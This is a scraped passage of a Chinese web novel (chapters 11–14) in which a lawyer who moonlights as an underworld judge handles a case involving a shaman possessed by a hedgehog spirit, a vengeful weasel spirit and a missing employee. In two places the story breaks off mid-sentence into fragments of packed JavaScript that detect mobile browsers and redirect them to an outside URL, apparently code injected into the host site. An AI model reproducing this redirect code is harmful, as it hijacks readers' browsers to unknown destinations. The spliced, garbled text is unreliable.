后来的大师也同样告诉他,“你那一句话,黄仙儿至少得再努力十年。它又是仙家里最记仇的,难免找你报复回来。” 单易觉得自己很冤,对殷垣诉苦:“我这不是夸它的嘛。为人民服务多好啊,它还不领情。” 殷垣:“……” 邱妍大概有点听懂了,“所以大仙儿想成神,还得去做志愿者为人民服务?” “应该是吧。”单易挠挠头,“我哪知道这么严重。” “殷律师,你看怎么把大师捞出来啊?多少钱都行,只要能让他先出来呢。” 殷垣不着急这个,“利用封建迷信破坏法律实施和一般的封建迷信行为不一样,得有行为上阻碍法律实施的故意。他当时做了什么?还是你做了什么?” 单易:“我当时正跟他说话呢,眼瞅着他已经请灵上身了,结果警察突然来敲门。嘶……他当时不知道为啥,突然拿东西砸警察算吗?” “算。”殷垣道:“他为什么袭警?” “不知道啊,大师本来挺好说话的,结果瞅见警察突然应激了,抄起香炉就砸了过去,还好警察躲避及时,没出大事。” 殷垣点点头,“我要去看守所会见他一次,问问情况。” 说着,他把合同拿给单易。 面对一次三万的律师费,单易眼睛都不眨一下,直接签了名字,继而催促道:“还等啥啊,咱们现在就去。” 说他不着急案情吧,他要求立刻出发,说他着急案情吧,上了车后,又忍不住向邱妍打探殷垣的情感状况。 两人坐在后排,小声叽叽喳喳:“殷律师有对象了吗?” 邱妍其实对这种当事人跑偏试图打探律师私生活的事情已经见怪不怪了,压低声音说道:“不知道。” “你见过吗?” “没有。” “那就应该没有了。”单易一副过来人模样,“要是有对象肯定隐藏不了。” 然后,他又问,“你知道殷律师喜欢什么样的吗?” 邱妍心道你非要在这么封闭安静的车厢内讨论这种事吗? 殷律师只是懒得理你,不是他听不见啊喂! 她正襟危坐,十分严肃道:“殷律最热爱工作,是我们律所上下学习的榜样。” 单易:“......” 车辆平稳驶上高架桥,殷垣波澜不惊地抬眸一瞥后视镜,说道:“单先生有什么话可以直接问我。” 单易摸了摸鼻子,期待道:“那我问了,你会说吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667898|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不会。” “......” 单易碰了个软钉子,还是不想放弃,打算等这案子结束后再找机会跟殷垣拉拉关系。 派出所那边的民警对殷垣并不陌生,看见他人来了,就知道又接了案子。律师要会见当事人属于正常流程,警察倒也没过多为难,只是对殷垣嘱咐道:“那个人怪怪的,一直不肯说话。您能问就问,尽量别超了时间。” 话说着,殷垣见到了单易口中的大师,穿着蓝色马夹,头发凌乱,年纪在四十左右的样子,脸色蜡黄低着头一言不发,全程都没往来人身上看一眼。 警察再次嘱咐了会见时间后,便将空间让给两个人。 殷垣照常拿出案情资料和录音笔,问道:“纪项兰,我是你的律师,我姓殷,你有什么要对我说的吗?” 纪项兰低垂着头,灰白的头发一绺绺垂落,盖住眉眼,叫人看不清神情。 “单易你认识吧?他聘请我过来和你会见。当时到底发生了什么还需要你这个当事人讲一讲,不然我们在外面很难做辩护。”殷垣两指并拢在桌面叩了叩,提醒他不要浪费时间。 纪项兰的头稍微晃动一下,依旧没说话。 殷垣注视他一会,感觉这人身上确实不大正常。明明是个有本事的大师,居然还瑟缩着肩膀,似乎在害怕什么东西。 不肯看人脸,也不肯回答问题,面对要来辩护的律师也无动于衷,一点反应也没有。 这和那些见了律师就差当场跪下喊“青天大老爷,我冤啊!”的当事人反应完全大相径庭,虽然殷垣也不喜欢这么热情的当事人。 但是人之常情,总得理解,毕竟谁也不想吃牢饭。 殷垣将笔转了个圈,合上笔帽。又关掉录音笔,收起案情资料,说道:“既然你不想说,那就算了。我改天再找时间来一趟。” 他佯装收拾东西,实际上一直留神纪项兰。没错过他听见“算了”时忽地松了口气一样的表现。 心下有了思量,推门走出去。 见到他,等在外面的警察还有点疑惑,“这么快就讲完了?” 殷垣:“嗯。他一直都不说话吗?” “是啊,之前审问他两次,啥也不说,搞得我们也很无奈啊,想定罪都定不了。” “你们也辛苦了。”殷垣来都来了,问当事人问不出,找警察问问情况还是可以的。于是趁机道:“你们为什么会突然去找上门抓他?是有人举报了吗?” “是啊,有人举报他在搞封建迷信活动,让我们去看看。”警察回答。 “有人举报?”殷垣顿了顿,接着问道:“被砸的警官怎么样了?” “没大事,擦到了点皮。” 殷垣拍了拍他的肩,“你们也辛苦了。我的当事人一直想找时间赔礼道歉,可以的话,麻烦你帮我转述一下,我们尽量私下和解可以吧?” “应该也行。”警察道,“我回去跟他说一声。但是里面那个人的态度总要拿出来,这么一直拖着,就算是想放他也放不了。” 殷垣点点头,让他放心。说话间,两人走到了大厅。警察被同事喊走离开。 单易忙迎上前,“怎么样了?” “你之前说这大师是哪个堂口的?”殷垣不答反问。 “白仙儿家的。” 殷垣:“......” 难怪,刺猬可是心理学上被认证的社恐,甚至还衍生出一种“刺猬型人格”。 他琢磨着,刺猬怕人,或许换个身份跟它聊聊应该更好点。 11. 第 11 章 单易还在眼巴巴等着回答,殷垣不好说那白仙儿还附在纪项兰身上,只能道:“还好,等明天再说吧。” 单易叹气:“行吧,希望早点搞完,我现在都不敢脱衣服了,生怕吓到别人。” 警局院里种了棵柳树,细嫩的柳芽刚抽出枝,随风飘飘荡荡。鲜绿色的春景后走出两个人,一左一右在说着话。 殷垣正要绕过柳树到停车的地方,不经意一瞥,正巧跟这迎面而来的两人对视上。 “殷垣。”柏扶青本来听着穷奇说话冷淡的脸色立时变了,挑眉笑道,“你怎么会在这?” 他一身黑衣,不笑的时候,眉骨凌厉,瞳仁漆黑,像是幽暗的古潭给人一种极强的压迫感。可微微一勾唇,扬高了眉梢,即刻间又让人觉得冰雪消融,春风拂面,但凡换个人都会有种受宠若惊的感觉。 穷奇懵了,见鬼似的朝殷垣身上去看,绞尽脑汁也没认出来这又是哪位妖族的朋友,能让柏扶青这么友善。 “你好。”殷垣迎着斑驳光影冲两人颔首,客气又疏离道:“我来这工作。” “好巧,我也在工作。”柏扶青笑道。 “......”殷垣还记得他昨天理直气壮反问为什么要工作的话。 这人,这么善变的吗? 柏扶青推了推一身西装的穷奇:“这是我朋友,刚才路上发生了点意外,我们来报个案。” “哦。”视线在穷奇脸上一扫而过,殷垣淡淡道,“你们忙吧。再见。” 等他带着人离开后,穷奇才忍不住问道:“他谁啊?身上怎么没有味道?” 柏扶青脸上笑意敛了敛,觑视他一眼,“他是人。” “啊?”穷奇下意识舔了舔嘴唇,“长这么好看的人啊。” 瞧着身形颀长,细皮嫩肉的。 他心中生出无限可惜之意,这么好看的人一定很好吃,可惜现在不让吃人了。 柏扶青似乎察觉他的想法,警告道:“他是我的人。” “啧,说得跟你们俩多熟似的,别以为我没看出来,人家都懒得搭理你。”穷奇幸灾乐祸地说道。 “我和他有天地法则见证的婚契。”柏扶青的视线追随着殷垣上车,才收回来,淡漠说道。 穷奇精神大振:“!!!” 好劲爆的消息! 这万年铁树居然开了花! 柏扶青倒不是穷奇想得那样,他只是觉得殷垣这个人还挺有意思。 毕竟是自己从小看着长大的人,相处时期下意识就会流露出亲切感,他自觉自己年纪大,应该多照顾几分。 柏扶青到底刚步入新世纪的人间,还不知道这种亲切感有个专有名词——“养成”。 ... 一场滂沱大雨过后,穷奇发现自己的助理再也没来上过班。 打工人平白无故缺勤只有两种原因,一个是不想上班了,要辞职。另一个则是当事人出了意外,不能来上班。 出于工作程序,穷奇曾吩咐过其他人想办法去联系这位助理的家人。 可手下的员工则告诉他,助理是个孤儿,没有家人。连留在公司的地址也早就搬了,一时半会谁也联系不上她。 这也就算了,穷奇身边助理不止一个,少了一个人工作还不至于落下太多。 但偏偏他是穷奇,鼎鼎有名的上古凶兽,专门以人为食。 妖怪管理局也不知道从哪里听说这事,明里暗里打探其中情况。又碍于穷奇凶名在外,打也打不过,没有证据的事情,压根不敢明面上说,只能心里偷偷摸摸怀疑是不是跟他有关。 穷奇今天再次接到管理局那边的电话,气得载着柏扶青一溜烟往警局来,先一步报案以洗清自己的罪名。 至于为什么非要拉上柏扶青,只因为他是建木,上古时期唯一一颗能沟通天地人神三界的桥梁。 尽管是妖,却不偏不倚,平等对待众生,在三界中一向广受好评,是个再好不过的公证人。 穷奇相信有柏扶青跟着自己,妖怪管理局那群人起码看在他的面子,怎么也该相信自己的清白了。 要是还胡说八道,穷奇就只能勉为其难把妖怪管理局拆了,给他们点教训。 他信心满满来到警局,高定西装因他步姿而猎猎生风。眼睛目不斜视,直直一巴掌拍在桌子上,声若洪钟,“我要报案!” 警察见怪不怪,熟练地问道:“您慢慢说,是要报什么案呢?” “我的助理失踪了三天时间。” 柏扶青落在后面几步,慢悠悠跟进来。一边漫不经心听穷奇和警察对话,一边又在想自己是不是该真的找份工作了。 有了工作,交个房租也算理所应当,殷垣总得收下来吧。 女警听说有人来报案失踪,匆忙过来询问一些细节。 穷奇道:“我助理叫周夭,三天前她正常下班。因着第二天一早下了场大雨,担心他们通勤麻烦,我就给员工放了半天假。等雨停了后,其他人纷纷来上班,只有她一直没来。” “小姑娘淋雨感冒发烧不来上班也正常,但是她又没线上提交请假。给她打电话,手机也打不通。过了两天,她还是没任何消息,我毕竟是她老板,就想着来警局报个案问问情况,说不定是乌龙呢。” 女警记录下他的话,又问道:“你叫什么名字?“ 穷奇:“穷……额,姬琼岐。琼楼玉宇,十年歧路的琼岐。” 他之前登记姓名时,特意扒了不少书。穷奇诞生于天地之间,吸取天地灵气生长,和与日月同寿,真论起来,他比建木还要年长。 他无父无母,可人类却把他跟人皇少昊扯上关系,非说他是少昊的后代。 穷奇心说他吃了不少人,怎么不算衣食父母呢? 恰巧少昊又是姬姓,穷奇见这字好看又高贵,就干脆也往自己头上套了套。 就姓姬,名字还不能丢,那就叫姬琼岐! 女警点点头,低头先去系统查询一下周夭的住址信息。页面跳转出来,被屏幕照亮的脸顿时蹙起眉心,说道:“你是她老板,你不知道这个人已经死了吗?” 穷奇一怔:“啊?” 女警和他对照信息:“周夭,今年24岁,未婚,本科学历,父母双亡。她的户籍已经被注销了。” 照片上年轻的小姑娘面对镜头笑得有点羞涩,眉眼间尽显秀气,眼神中还带着没出社会的稚气感。 女警心里泛酸,感叹真是世事无常,这么年轻的人说走就走了。 “不是。”穷奇纳闷,“她怎么就死了?怎么死的?我怎么不知道?“ 女警往下翻看,“意外车祸,抢救无效死亡。” 穷奇叹了口气,“行吧行吧,知道她消息就成。谢谢您了。” 心里却想,真是奇了怪了,居然给那群老头子说中,人已经死了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667899|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他转身想走,突然又想到一件事,“她没有家属,遗体应该还在医院吧?你给我一下地址,我把这事办了。” 女警惊诧,没想到这当老板人还怪好的,员工葬礼都会代为操办。 就连柏扶青都有点惊讶,离开的路上问道:“你什么时候这么热心了?” 穷奇:“士别三日,当刮目相看。哼哼,我就是要打那群老头子的脸,天天怀疑我做的不是正经生意,又觉得我还吃人。搞笑,我公司双休年终奖法定节假日一个不少,加班还有加班费,现在哪个人类老板跟我一样这么遵纪守法!” 柏扶青:“……这不是应该的吗?现在人类上班都这么辛苦。” 穷奇在现在都能算好的了?其他人得什么样? 他不禁又想起殷垣说自己要打两份工的疲倦模样。 穷奇乜他一眼,意味深长:“以前是我吃人,现在都是人吃人。” 柏扶青若有所思地沉吟。 穷奇拿着警察给的地址来到医院,却得知周夭的遗体已经被人带走了。 1 “被谁带走的?”穷奇问道。 “是她的亲属啊,来得一男一女,自称是她的亲戚。” “他们人去哪了?” 护士摇摇头,“那就不知道了。知道我们也不能告诉你啊,都是有规定的。” “你就不能通融一下。” 护士坚定地摇头,“这可通融不了,得保护病人隐私。” 穷奇觉得她真不识好歹:“你信不信我把你们医院收购了。” 护士白了他一眼,“这是公立医院,你想什么呢?霸总小说看多了吧!” “……”穷奇被怼得无话可说,感受到一种有钱的无力感。 眼看护士转身离开,穷奇站在原地,非常不理解,一个从小在孤儿院长大的人,哪来的亲戚? 听着比他跟少昊的关系都扯。 …… 农历十五,月满之夜。 莹莹月光从一扇狭小的窗户照入,拘留所一间十人宿舍里回荡着此起彼伏、争先恐后的打鼾声。 一只盘旋的苍蝇落在其中睡熟的人鼻尖上,苍蝇腿搔出一阵痒意,他半梦半醒伸手去打,一巴掌落在脸上,苍蝇没打着,反倒把自己弄清醒了。 本来翻个身,正要继续睡。 突然,他定住了身体,直勾勾往最靠窗的地方去看。 这两天新来的那个男人此时像是在打坐一样,盘腿坐在床面。明亮的月华倾泻他身上,映出他半边脸。 灰白色的毛茸茸人脸,下颌尖锐不似正常人。眼睛紧闭,迎着月光流露出十分享受的神情。 过了一会,他突然睁开眼睛,发出老妇人嘶哑的声音。 “你是谁?” 躺在床上的狱友惊得瞪大眼睛,发现这个人他没有眼白。 月光照亮他的眼睛,反倒是像一潭墨水,将所有的白色全部吸收。 这特么,在拘留所见鬼了? 狱友难以置信,悄悄别过身体,佯装睡觉。 成了精的动物都有望月打坐的习惯,白仙儿自然也不例外。 “纪项兰”正想趁着月华正盛时修炼修炼,倏然间,从窗户外飘起一个红色的人影,趴着窗户往里张望。 找到了要找的人后,这红衣人影便穿墙进来,飘至“纪项兰”面前,说道:“纪项兰,我们聊聊吧。” 12. 第 12 章 “纪项兰”猛地睁开眼睛,发出女人的声音:“你是谁?” 殷垣眉头一皱,“白仙?” 他愣了愣,旋即想起来之前听过的传说,白仙常以老太太的样子出现,最擅长治病救人,民间都尊称它为白老太太。 现在看来,这传说倒是真的。 于是他改了称呼,“白老太太。” “纪项兰”一半人脸一半是变了形的刺猬脸,通黑的眼球泛着诡异的幽光,打量殷垣几眼,说道:“原来是地府判官啊,你来找老身什么事?“ 殷垣:“我来找纪项兰。” “纪项兰”竖起眉心问道:“他人可还没死呢,什么时候轮得着你们地府的来管阳间事了?” “你凶什么凶,要是你白天配合我,我至于晚上来找他?”殷垣本来加班就烦,见他还是不配合,忍不住怼道。 “……” “纪项兰”:“你白天啥时候来了?” 殷垣是真没想到,这人从头到尾居然一眼都没往自己身上看。 这也太社恐了……不是,这也太怕人了。 “我就是白天那个律师。”殷垣顿了顿“少废话,现在能回答我问题了吧?” “……” “纪项兰”陷入诡异的沉默,眼神在他身上睃巡想要判定这到底是不是人。 “你……”他哑声道:“地府还让判官出来兼职啊?” 人间的公务员都不让兼职,地府的居然可以! “……”殷垣:“你别管。” “纪项兰”哼了声,“你想问什么?” 殷垣摊开纸,拿判官笔边写边问:“警察到你家的时候,你为什么要袭警?” “纪项兰”,“我被吓到了,谁让他们来的那么突然,不给我反应的机会。” 考虑到这位的身份,殷垣觉得应激来形容更适合。 “你在家里给单易治疗,警察怎么会知道的?” “肯定是那黄皮子举报的,它就爱搞这种下三滥的路数。敢偷偷举报,不敢正面打一架。哼,等我出去了,我绝不放过它。” 殷垣:“你什么时候打算从纪项兰身上出来?他一个活人长期被你占据身体,魂离体外久了,阳火虚弱,少不了生场大病,丢了半条命。” “纪项兰”瞪着他,“你当我不想出来?这人魂丢了,我不代替他,就该有别的孤魂野鬼上了身。” “丢魂了?怎么回事?”殷垣问道。 “还是被吓的,他魂离体外,也不知道去了哪。我呆在这里出不去,找都没法找。” “纪项兰”说着,眼睛骨碌碌转了圈,语气温和几分:“您既然都来了,好人做到底,顺便帮我找回来成吗?你们地府擅长这事,找起来肯定比我快。” 殷垣其实也在这么想,纪项兰总不能一直飘在外面,早点回魂,他这案子也能早点解决。 他转身飘离拘留所,“纪项兰”坐直身体,忽然扭头往后去看,启唇吐了口气,这缕白烟顺着空气被悄悄听墙角的狱友吸入,正恐惧的心突然安定下来,直接睡熟过去。 在飘回城隍庙的半路上,偶遇到一个偷偷摸摸在电线杆前不知道做什么的人影。 这块地方偏,路灯稀稀疏疏,几乎照不亮什么东西,只能看见是道黑色偏瘦的人形。 殷垣飘近了,才发现这人身高也就一米六左右,瘦瘦小小一个,在电线杆前用个铲子胡乱刮着,撕毁上面贴的小广告。 “……” 他不想管闲事,看了几眼就要离开。 那人忽地注意到殷垣,居然唤了句:“喂,你过来,帮我干点活。” “……” 殷垣左右看看,那人却不耐烦道:“看什么呢?就你,这马路上还有其余人吗?” “你能看见我。”殷垣稀奇地看向他,眉梢微挑来了点兴趣。 这时和对方正对上才发现,他完全隐藏在黑暗中的眼睛发出暗绿的光,瞳仁狭长嵌在脸上。 像极了动物的一双眼睛。 那人嗤笑:“你一介鬼魂有什么稀奇的,想当年,我手上可是有不少人命冤魂,哼。你今天碰上我就是运气,帮了我才能离开这,不然我现在就把你打得魂飞魄散。” 殷垣兴味更浓,“你还杀过人。” 那人以为他怕了,便洋洋得意道:“我可是从尸山人海里走出来的,见人杀人,见鬼杀鬼,没人能从我手上逃脱。今个儿我心情好,乖乖听话,我就放你一马。” 殷垣身形微动,顷刻间已经到了他面前,居高临下俯视这个仅到自己胸口的人。 “你确定是你不放过我?” “……”那人不屑:“个高有什么用,你知道我谁吗?说出我名,吓你一跳!” “我乃黄大仙家,还不赶紧参拜!” 殷垣真没想到能这么巧,略有深意地说道:“我记得仙家不能手沾人命,不然会历劫失败。” “那都是假的,杜撰,绝对是杜撰。”黄大仙说着,把手里的铲子塞给殷垣,“别bb了,赶紧干活。天亮之前,要把这一条路上的所有小广告都铲了。” “啧。”殷垣轻哂,说道:“黄大仙是吧。” 他掏出判官笔就要记下来,“杀人无数,威逼鬼怪,按规矩要被罚到地府做苦力一千年。” “你特么——”黄大仙不耐烦地声音戛然而止,看见判官笔的刹那,顿时瞪大眼睛,“靠!判官——” 他知道自己踢到了铁板,原地一跳,一身衣服陡然垂落地面,一条手臂长的黄鼠狼从布料中飞速窜出。 殷垣眯了眯眼睛,念出白无常教他的咒语。 “‘北帝敕令,缚鬼诛邪,敢有不服者,急急如律令!’。” 从鬼吏那顺来的长链甩出,泛着红光的链条清脆碰撞几声,瞬间将黄鼠狼绕了一圈硬生生拽了回来。 被锁链五花大绑的黄鼠狼可怜巴巴仰躺地上,用爪子在空中抓挠做求饶状,道:“判官老爷,我这有眼不识泰山,您就放了我这一次吧。我就是说着玩玩。” 殷垣见多了各种各样的当事人,身经百战,完全不为所动,“你自己说杀过人?“ “我、我……”黄鼠狼眼睛直转。 殷垣没给他辩解的机会,从袖子里拿出一个长条状的东西,微微一摁。 黄大仙刚才洋洋得意的话响彻夜间—— “我见人杀人,见鬼杀鬼,没人能从我手上逃 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黄大仙一时没反应过来,就先答了:“仙家讨封找的人都是精挑细选的,祖上积德行善,身怀福缘的人,这种人说话才有分量。一旦成功,我就可直接修炼成形。谁知道那人擅自加词,我要想接住口封就得按他说得做。” “不对啊...你怎么知道我这是讨过封的?”黄大仙眼冒红光,“你认得我?” “你讨封不成,报复人家。人都告状到我这了,你说我认不认识你?”殷垣瞥了他一眼,“你暂且呆在这,我去找个人回来。” 白老太太说得话倒是不错,术业有专攻。即便是殷垣这个临时工在找魂上也颇有能力,念着纪项兰的名字八字,判官笔自动引着殷垣去找。 所幸纪项兰受惊后跑得也不远,在离家的不远处来回徘徊。殷垣找到他的时候,纪项兰正在跟一个老鬼聊天。 一道勾魂链出现,将纪项兰直接带走。 一个大活鬼凭空消失,将那老鬼惊愣半晌,大喊大叫跑开,“不好了,有人拐卖鬼口了——” 殷垣想解释都来不及,那老鬼几息之间就跑出好几里地。 先不管以后出现的鬼失踪的恐怖传说,殷垣收回视线,上下打量这个生魂的模样和记忆中的人脸比对,“纪项兰。” 纪项兰晕晕乎乎,连人都看不清,还没等反应过来便接着听到一句话:“我受人所托,过来找你。你离魂一天,也该回去了。” 殷垣一挥手,宽大的红袖翻飞,带起一阵阴风,吹着纪项兰飘起来。 再一睁眼,已然回到自己的身体里。 纪项兰压根没摸清是什么状况,就先发现自己居然不是在家,而是在一个宿舍。 白墙上贴着醒目的宣传标语“遵纪守法是底线,改过自新有明天。” 啥玩意,他给干哪来了? 纪项兰丈二和尚,摸不著头脑头脑之时,低头再看,自己的衣服也换成了蓝色马甲。 这样式,有点熟悉。 似乎在一些影视剧里面见过。 纪项兰后知后觉发现,自己不知道什么时候进了拘留所。 请问,一觉醒来我进监狱了怎么办? 13. 第 13 章 外面起床铃响,他跟着众人爬起床洗漱叠被子,身后有个狱友偷偷摸摸靠近,眼神怪异极了,几乎想拨开他的衣服仔细打量,纪项兰瞬间警铃大作。 md,不会是什么捡肥皂剧情吧 “你干什么?”纪项兰警惕地问他。 狱友听他说话,还有点意外,同样被吓一跳的样子:“靠,你到底男的女的?昨天大半夜,你明明不是这个声音!” 纪项兰下意识摸了摸自己的脸,在摸到胡茬的时候瞬间安心下来,“你瞎啊?老子纯爷们!” 狱友:“你昨晚上不睡觉干啥呢?我盯你半天了,奇奇怪怪地还跟空气说话。” 纪项兰却是想歪了,胳膊上冒出一层鸡皮疙瘩:“靠,死变态,都进来了还不老实,大半夜不睡觉偷窥我!” 狱友:“……” 其他人:“……” 所有人神色复杂,在两人之间看来看去。 有人出来打圆场:“那啥,你俩要是有啥情况也都忍忍,这公众场合可不能乱来啊。” “不是,我觉得他奇怪,不像正常人。你们都想哪了?”狱友百口莫辩,“我有老婆孩子!” 纪项兰鄙夷:“那你更不是个东西,有老婆孩子还这样!” 殷垣送完纪项兰后,再回到城隍庙,发现那黄鼠狼已经跑了。 问了鬼吏,对方惊讶道:“不是您让他走的吗?那黄皮子大摇大摆从大殿离开,说是搞了个乌龙,您抓错了人就让他离开了。” 殷垣沉默,他也是犯了傻,居然会觉得黄大仙能乖乖留在原地不动。 “没事了。”殷垣叹了口气,摆摆手,示意他能走了。 翌日一早,四九城再次下起了大雨。 狂风怒号,吹着雨丝如浪潮层层叠叠向四面八方涌来。 天色昏黄,清早便如同黄昏一样暗淡。 殷垣见这天气出门实在不方便,就先慢悠悠在家里做了顿早餐。 等吃完饭再去派出所一趟。 他刚摆好饭,门铃突然响了起来。 柏扶青拎着纸袋,头发身上全部沾了水痕,墨绿色的衬衫被水浸湿成黑色,应该是刚从外面回来。 见人开了门,不由温和道:“你没出门就好,我买了只烧鹅给你送来。” 他被打湿的头发自然垂在额前,眼睫上还残留着水渍,微微一笑,便像没干的水墨画似的流动起来。 殷垣往他手上的东西看了两眼,说道:“你出门就为了这个?” 纸袋里一阵扑鼻的食物香气传出,浓郁的孜然混合被煎炸过的肉香不一会就充斥门廊这一块空间,光是闻着就让人口舌生津。 柏扶青说道:“平时难得见你一面,这东西刚出炉的最好吃,要想给你只有早点起来去买了。” 殷垣松了松眉眼,接过来,出于礼貌客气地问了句:“要进来坐坐吗?” “好啊。”柏扶青毫不迟疑应下。 “……” 殷垣看在吃的份上,还是让他进了门。从玄关鞋柜里拿出双一次性拖鞋给他。 “正好,我也有话要找你说。” 殷垣把烧鹅放到餐桌上,转身进了另一个房间。 趁他不在时,柏扶青在客厅转了转。从一进门,他就注意到了殷垣家里似乎只有他一个人在住。可往里走了几步,又看见几个摆在储物柜里的相框。 照片有点泛黄,但是相框很干净,应该是被人经常擦拭。 里面是一家三口,一对夫妻和一个小男孩。 三个人颜值都很高,但男孩明显更像妈妈一些,乌发白肤,五官精致秀气,乍一看像个留短发的小女孩。 从左到右,男孩逐渐长大,最后一张是少年时期,个条抽长下,身材瘦瘦高高,穿着件白色T恤,一手捏着头上的棒球帽帽檐,一手插兜,酷酷地看向镜头。 脸上虽然没什么表情,却能看出很放松,眼底含着汪浅浅的笑意。 柏扶青凝视着他,记忆也渐渐回到了过去。山中无岁月,他不幻成人形的时间都是模糊的,几乎是没有任何感觉就流逝了过去。 一个七八岁的男孩跪在跟前,稚声稚气叫他“干爹。” 道士还绕着树来回唱念符咒,音调拉长,跟首催眠曲一样,让柏扶青昏昏欲睡。 男孩磕了三个头,亲自为他上香,以为是认了个干亲。 柏扶青那是不能说话,要是能说话恐怕会直接笑出来,对这小孩说:“这不靠谱的道士把你红线绑到了我身上,还不赶紧把人赶走,结束仪式。” 只是,冥冥中注定了一场缘分。 柏扶青那时候也没放心上,说不定等这孩子死了,自己都还是棵树,能有什么事。 窗外的雷声骤然炸开,殷垣怪异地站在不远处问道:“你看什么呢?” 柏扶青回神,猝然撞进殷垣诧异的双眸,有些怔愣。 好一会,才说道:“这些照片是你和父母拍的吗?” “嗯。”殷垣走过来,摸了摸相框。“好多年前了,我自己都记不清什么时候拍的。” “后来怎么没有了?” 殷垣抿了抿唇,将相框一一扣倒,“他们去世了。” 柏扶青哑然,忍不住再去看这些被合上的相框。 “因公殉职,意外离世。”殷垣简简单单八个字为这个话题画上了句号,将手里的毛巾扔给柏扶青让他擦擦身上的雨水。 “你先坐。” 柏扶青这时才从殷垣疏离的态度中窥得一丝真实情绪。捏着新拆的毛巾,视线不由落在殷垣那身显着宽松的衣服上。 每走一步,那件轻薄的衬衫就隐隐约约贴着身体勾勒出一段线条。 不是衣服松,是他人瘦。 他一直以为殷垣像当年一样,是个被父母宠大的小孩,没想到中间还有这场意外。 难怪后来殷垣没回过S省。 柏扶青心想,算一算时间,也有十二年没见过他了。 殷垣找了个盘子将切好块的烧鹅装盘,酥脆的赭石色皮上刷了层酱料,最外面还有层白芝麻混着辣椒粉和孜然粉包裹着,几种香料的味道顷刻间萦绕一室。 将饭都摆上餐桌,顺便给柏扶青递了双筷子,殷垣才拉开椅子坐下。 他心平气和说道:“我昨晚回家好好想了想,这段时间我一直在忙,确实忽视了你的事。” 柏扶青伸出去夹小炒青菜的手一顿,“我的什么事?” “如果你想在四九城稳定下来,得有一份规划。”殷垣说着,又起身去拿平板,将它放在桌面,三两下点开,然后转动方向,面朝柏扶青。 “我做了份计划 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殷垣的衬衫漏了最上的扣子没扣,敞开的领口让他白皙的脖颈完整露出来。低着头颅时,后颈折出一段优美修长的弧度。 在灯光映照下,像瓷做的般发着冷气又格外脆弱,似乎稍微一用力就能捏碎。 柏扶青扫视几眼便收回了视线,说道:“这家店的烧鹅很好吃,你多尝尝。” 殷垣沉默两秒后,提醒他:“我在这住了十几年,不用你推荐。” 柏扶青怎么老是说些反客为主的话术? “不一样。”柏扶青悠悠笑道。 殷垣试探性地夹起一块咬了一口,外皮酥脆,肉质嫩滑,鲜甜的鸭肉混着芝麻的清香一起在舌尖上炸开。 “有什么不一样?”殷垣奇怪。 “这是我买的,当然不一样。” “……” 殷垣疑惑的表情瞬间收回,面无表情说道:“这么喜欢送东西,我建议你考虑一下送外卖这行。” 柏扶青忍俊不禁,“给你送还能接受,给别人送,我懒。” 殷垣抬眸看他,古怪道:“不接受用这些抵房租。你想都别想。” 早餐时间一晃而过,外面的雨势渐小。 殷垣把碗筷丢到洗碗机里就拿着外套送客离开。 柏扶青见他一副要出门的打扮问道:“你还要去上班?” “有什么问题?”殷垣抬眸,细薄的眼皮折出一道深邃的痕迹,浓密的眼睫扇动两下,不理解柏扶青的话从何而来,道:“今天是工作日,上班很正常。” “我以为外面下了雨,你今天会休息一天。” 殷垣无奈一笑:“如果可以选择,我一定不想上班。” 柏扶青目送殷垣乘电梯下楼后才转身走楼梯回家。 顺手把殷垣发的PPT转给穷奇后,并道:“你知道有什么工作适合我的吗?。” 那边穷奇缓缓打出一个问号,“你那半个山头的金子都捐啦?” “不一样。”柏扶青回复他:“我要有个正经身份在人间生活。” 穷奇想了想,“地府那边最近在招聘。正好我们公司和地府有合作,你过来挂个名负责接洽多好。” 柏扶青回他:“那我考虑考虑。” 14. 第 14 章 殷垣第二次去警局会见纪项兰。他知道纪项兰回了魂,应该恢复了正常,却没想到,自己刚落坐。纪项兰就激动地扒着栏杆,哭嚎道:“律师,我是无辜的,我什么也没做!你快想办法把我搞出来,我在这一天都待不下去了!” 对嘛,这语气才对味。 殷垣放松道:“先别急,已经在和警察交涉了,大概这两天就能取保出来。你想早点出来,就要配合我知道吗?” 他边说,边拿出录音笔放在手边。眼睛盯着纪项兰一举一动,问道:“先说说你的职业吧,单先生为什么会找上你?” 纪项兰在他平静的语气下稍稍安了心,又觉得这个律师长得有点眼熟,似乎在哪见过。 可是这种人要是见过,肯定忘不掉,至少也会有点印象。 他想了好一会,摸不着头绪,只能先老实回话。 “我老家是东北的,家里有传统就是拜堂口。我恰好有点天赋就招到了白老太太做保家仙,因此才开始干这行。单易找我也是因为被仙家纠缠,我一看他那伤,绝对是黄仙儿弄的。” 殷垣点点头,继续道:“你信这种保家仙的事吗?” “那我当然信了,不信那不就是诈骗了吗?殷律师,你信这个不?等我出去给你免费看看啊!” 殷垣毫不犹豫表示拒绝:“我相信科学,不需要。你平时都提供什么服务?都是什么价位的?” 纪项兰只是失望一会,又打起来精神,“就…就帮人看看病,看看有没有招到啥不干净的东西呗,有的人其实比较敏感,所以来之前有点察觉。不过还得被我确定后才好安心。价位嘛......都是正常价格,我一单最多两三千块钱,里面还得抽出来一半用白老太太的名义捐出去,挣得都是辛苦钱!” 殷垣点点头,在纸上记录几个字:“价格正常,还有慈善行为。” 